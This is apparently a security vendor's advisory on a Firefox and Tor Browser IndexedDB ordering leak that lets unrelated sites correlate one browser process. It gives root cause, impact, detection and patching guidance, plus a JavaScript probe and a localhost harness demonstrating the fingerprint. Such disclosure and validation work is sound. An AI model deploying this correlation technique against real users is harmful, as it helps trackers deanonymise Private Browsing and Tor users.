top of page
Search

CVE-2026-6770 and the Firefox IndexedDB Cross-Origin Correlation Leak

  • Writer: ninp0
    ninp0
  • 5 days ago
  • 6 min read

ABSTRACT

CVE-2026-6770 is a privacy-impacting vulnerability in Firefox’s Storage: IndexedDB component that allowed websites to derive a stable process-lifetime identifier from the ordering returned by indexedDB.databases(). Mozilla fixed the issue in Firefox 150 and Firefox ESR 140.10, while the Tor Project shipped the corresponding remediation in Tor Browser 15.0.10.


Although vendor advisories classify the bug as moderate, the practical impact is sharper for users who rely on isolation guarantees. Public research showed that the identifier could survive Firefox Private Browsing session closure so long as the underlying browser process remained alive, and could also persist through Tor Browser’s New Identity action until a full process restart.


EXECUTIVE SUMMARY

At its core, CVE-2026-6770 is not a classic content-disclosure bug. The problem is that an API whose output order is supposed to be semantically meaningless ended up reflecting process-scoped internal state in a deterministic way. That gave unrelated sites a shared signal they could use to correlate activity across origins without cookies, explicit storage sharing, or user interaction.


Mozilla’s public advisory confirms the CVE and the fixed versions, and NVD maps the issue to CWE-200. Public technical analysis from Fingerprint and later write-ups explain the likely mechanism: private-mode IndexedDB database names were mapped through process-scoped state and then exposed to JavaScript in a non-canonical order. In affected builds, that order became a usable runtime fingerprint.


For ordinary enterprise browsing, the exposure is a privacy and policy concern. For journalists, researchers, activists, incident responders, and other anonymity-sensitive users, the impact is more serious because it weakens assumptions around Private Browsing and Tor Browser unlinkability within the same browser runtime.


AFFECTED CONDITIONS

  • Firefox versions before 150 are affected according to Mozilla and downstream CVE references.

  • Firefox ESR versions before 140.10 are affected.

  • Tor Browser required the corresponding fix delivered in Tor Browser 15.0.10 via Firefox security backports.

  • The issue is relevant when a site can execute JavaScript and call indexedDB.databases() in a browser process that has not yet been fully restarted after prior activity.

  • Private Browsing and Tor Browser workflows are especially sensitive because the bug undermines session unlinkability rather than simply exposing ordinary browsing metadata.


ROOT CAUSE AND ATTACK PATH

Mozilla’s advisory intentionally keeps the description terse: “Other issue in the Storage: IndexedDB component.” Public research fills in the rest. According to the public disclosure summarized by Fingerprint and subsequent technical analysis, database names in private contexts were mapped through process-lifetime internal state and later surfaced through indexedDB.databases() without canonical sorting. The returned order therefore acted as a structural fingerprint of the running browser process rather than a neutral list.


That subtle distinction matters. Sites were not reading each other’s IndexedDB contents directly. Instead, they were observing the same process-scoped artifact from different origins. If two sites both created a controlled set of database names and received the same non-canonical ordering back, they could infer they were talking to the same underlying browser runtime.


In Tor Browser, the privacy consequence was especially uncomfortable because the public disclosure found the signal could survive the New Identity feature during the life of the same process. That means a user could reasonably believe they had reset linkability while a site still retained a fresh browser-runtime correlation primitive.


BUSINESS IMPACT

  • Cross-origin correlation without cookies: trackers can link activity between unrelated sites by comparing the same runtime ordering artifact.

  • Private-mode trust erosion: Private Browsing users may remain linkable across windows they expected to be isolated if the browser process stays alive.

  • Tor anonymity degradation: the leak weakens New Identity expectations for users who depend on runtime unlinkability rather than only long-term storage clearing.

  • Operational risk for security teams: high-risk staff, researchers, and incident responders often depend on browser privacy guarantees that this bug partially undercuts.

  • Compliance and policy concerns: organizations that rely on browser isolation for regulated or sensitive research workflows may need documented version validation and restart guidance.


PUBLIC POC AND VALIDATION REFERENCES

This issue does not require a weaponized exploit repository to be operationally meaningful. The most useful public proof-of-concept material is the research and reproduction content that demonstrates deterministic ordering across origins and privacy contexts.


ORIGINAL 0DAY INC LAB-ONLY POC A: MINIMAL INDEXEDDB ORDER PROBE

The first 0day Inc PoC is a harmless browser-side probe. It creates a controlled set of IndexedDB databases, enumerates them, and prints both the listed order and a SHA-256 hash of that order. Use it on two different origins in the same browser runtime. If both origins produce the same non-canonical orderHash, the browser is demonstrating the correlation behavior described publicly for vulnerable builds.

<!doctype html>
<meta charset="utf-8">
<title>IndexedDB Order Probe</title>
<pre id="out">running...</pre>
<script type="module">
const NAMES = 'abcdefghijklmnop'.split('');
const out = document.getElementById('out');

function openDb(name) {
  return new Promise((resolve, reject) => {
    const req = indexedDB.open(name, 1);
    req.onupgradeneeded = () => {
      if (!req.result.objectStoreNames.contains('s')) {
        req.result.createObjectStore('s');
      }
    };
    req.onsuccess = () => {
      req.result.close();
      resolve();
    };
    req.onerror = () => reject(req.error);
  });
}

async function sha256(text) {
  const bytes = new TextEncoder().encode(text);
  const digest = await crypto.subtle.digest('SHA-256', bytes);
  return Array.from(new Uint8Array(digest))
    .map((b) => b.toString(16).padStart(2, '0'))
    .join('');
}

(async () => {
  for (const name of NAMES) await openDb(name);
  const listed = (await indexedDB.databases()).map((db) => db.name);
  const order = listed.join(',');
  const canonical = order === [...listed].sort().join(',');
  out.textContent = JSON.stringify({
    origin: location.origin,
    created: NAMES,
    listed,
    canonical,
    orderHash: await sha256(order),
  }, null, 2);
})();
</script>

Interpretation: on a fixed build, the listed order should be canonical or otherwise neutralized. On a vulnerable build, two different origins can observe the same stable non-alphabetic order and use it as a runtime identifier.


ORIGINAL 0DAY INC LAB-ONLY POC B: SAFE DUAL-ORIGIN LOCALHOST HARNESS

The second 0day Inc PoC packages the browser-side probe into a local lab workflow. It serves the same page on two different origins, 127.0.0.1 and localhost, so an analyst can validate cross-origin correlation without involving any third-party infrastructure or external collection endpoint.

#!/usr/bin/env bash
set -euo pipefail
ROOT="$(mktemp -d)"
trap 'pkill -P $$ >/dev/null 2>&1 || true; rm -rf "$ROOT"' EXIT

cat >"$ROOT/idb-poc.html" <<'HTML'
<!doctype html>
<meta charset="utf-8">
<title>IndexedDB Cross-Origin Correlation Lab</title>
<pre id="out">running...</pre>
<script type="module">
const NAMES = 'abcdefghijklmnop'.split('');
const out = document.getElementById('out');
function openDb(name) {
  return new Promise((resolve, reject) => {
    const req = indexedDB.open(name, 1);
    req.onupgradeneeded = () => req.result.createObjectStore('s');
    req.onsuccess = () => { req.result.close(); resolve(); };
    req.onerror = () => reject(req.error);
  });
}
async function hashOrder(order) {
  const digest = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(order));
  return [...new Uint8Array(digest)].map(b => b.toString(16).padStart(2, '0')).join('');
}
(async () => {
  for (const name of NAMES) await openDb(name);
  const listed = (await indexedDB.databases()).map(db => db.name);
  const order = listed.join(',');
  out.textContent = JSON.stringify({
    origin: location.origin,
    listed,
    canonical: order === [...listed].sort().join(','),
    orderHash: await hashOrder(order)
  }, null, 2);
})();
</script>
HTML

python3 -m http.server 8000 --directory "$ROOT" >/tmp/idb-8000.log 2>&1 &
python3 -m http.server 8001 --directory "$ROOT" >/tmp/idb-8001.log 2>&1 &

cat <<'MSG'
Open both URLs in the same Firefox or Tor Browser session:
  http://127.0.0.1:8000/idb-poc.html
  http://localhost:8001/idb-poc.html

Interpretation:
- Vulnerable behavior: both pages show the same non-canonical listed order and the same orderHash.
- Fixed behavior: listed order is alphabetical/canonical, which removes the process-specific tracking signal.
MSG

wait

Interpretation: if both tabs show the same orderHash while the listed order is non-canonical, the impact is demonstrated. Because the test is purely local and creates only benign databases, it is suitable for controlled validation on owned systems.


DETECTION AND HUNTING

  • Inventory Firefox and Firefox ESR versions across managed endpoints and flag anything older than 150 or 140.10 respectively.

  • Treat Tor Browser versions older than 15.0.10 as exposed for anonymity-sensitive workflows.

  • For high-risk users, require a full browser restart after patching because the public research describes a process-lifetime identifier rather than a purely tab-scoped condition.

  • Use endpoint management and browser extension governance to restrict untrusted high-entropy fingerprinting scripts where practical, especially in research or investigative environments.

  • If sensitive teams rely on Private Browsing or Tor for unlinkability, validate patched behavior directly with a safe local lab harness rather than relying only on release notes.


MITIGATION PRIORITIES

  • Upgrade Firefox to version 150 or later, and Firefox ESR to 140.10 or later.

  • Upgrade Tor Browser to 15.0.10 or later for workflows that depend on cross-site unlinkability.

  • Require a complete browser restart after updating on sensitive systems so any prior process-lifetime state is discarded.

  • Document that Private Browsing and New Identity are not substitutes for patching when browser implementation bugs affect runtime correlation.

  • For high-risk operational users, treat browser version validation as part of standard tradecraft alongside extension hygiene and site-isolation controls.


REFERENCES

Bottom line: CVE-2026-6770 shows how a browser does not need to leak content to leak identity. When a supposedly meaningless enumeration order becomes a stable process-scoped signal, privacy features such as Private Browsing and Tor New Identity lose part of the isolation users expect. For defenders, the right response is simple: patch, restart, and validate with a harmless dual-origin probe.

 
 
 

Comments

0day Inc.

"world-class security solutions for a brighter tomorrow"

bottom of page